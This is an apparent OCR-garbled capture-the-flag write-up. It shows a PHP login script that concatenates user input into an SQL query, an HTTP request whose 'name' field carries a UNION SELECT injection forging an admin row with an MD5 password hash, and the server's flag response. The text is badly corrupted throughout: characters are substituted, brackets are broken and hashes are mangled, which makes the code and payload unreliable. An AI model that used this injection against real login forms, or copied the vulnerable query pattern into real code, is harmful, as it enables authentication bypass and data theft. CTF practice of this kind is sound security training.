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<html>

w <head>»
<meta hittp-equiv="Content-Type" content="text/html; charset=utf-8"»
<title»Do you know who am I?</title>
</head:>
<body»do not hack mel</body>
</html>
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select * from user where username = '".$name."'
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mysqli_guery(&con, 'SET NAMES UTF8');

fname = §_POST['name'];

Epassword = £ _POST['pw'];

Bt_pw = mdS($password);

$sgl = "select * from user where username = '".fname."'";
/¢ echo $sql;

$fresult = mysqli_guery(Econ, $sql);

if{preg_match{"/\(|\}|\=]or/", Ename)){
die("do not hack me!");
1
else{
if (!%result) {
printf("Error: %s\n", mysqli_error(%con));
exit(),

else{
/4 echo '<pre=';
farr = mysqli fetch_row($result);
/4 print_r(%arr)
if(Barr[1] == "admin"){
if(md5($password) == Barr[2]){
echo $flag;
1
else{
die("wrong pass!'");
1

b
else{

die("wrong user!"});
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POST /search.php HTTP/Ll.1

Host: dD0a&ES8Zd-9089-4c£a-B8951-572831£0844f noded.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x€4; rv:78.0)
Gecko/Z0100101 Firefox/78.0

Accept:

text/html,application/xhtml+xml, application/xml;q=0.9, inage/we

bp,*/*;q=0.8

Accept-Language:

zh-CN,zh;q=0.8,zh-TW; q=0.7,zh-HK; q=0.5,en-US;gq=0.3,en;q=0.2

deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 73

Origin:

http://d00ac82d-9089-4c£a-8951-572831£0844f . node4.buucj.cn

10 Connection: close

11 Referer:
http://d0DagB8ld-90B89-4cE£a-8951-572831£0844f noded. buuoj.cn/?ht
tp:$2f%2£d00a682d-5085-4cEa-B8951-572831£0844f . noded.buucj.cnsz
fsearch.php

12 Cookie: UM_distinetid=
17a0eaeeS55f23f-0"acaa7€afe’Z1-4c302372-144000-17a0saee5E025d :

12 Upgrade-Insecure-Requests: 1

14

15 name=1' union select

l,'admin', '202chSE2ac590750964b07152d234b70 ' apw=123

flagit ik 1
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HTTP/1.1 200 OK

Server: openresty

Date: Thu, 15 Jul 2021 08:27:21 GMT
Content-Type: text/html
Content-Length: Z58

Connection: close

Vary: Accept-Encoding

H-Powered-By: PHP/5.2. .29
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<meta http-equiv="Content-Type" content="text/html; charset=ut|

<title>

Do you know who am I?
</title>

flag{4c344Zca-942£-4¢c71-83bd-b00eS63E8507}
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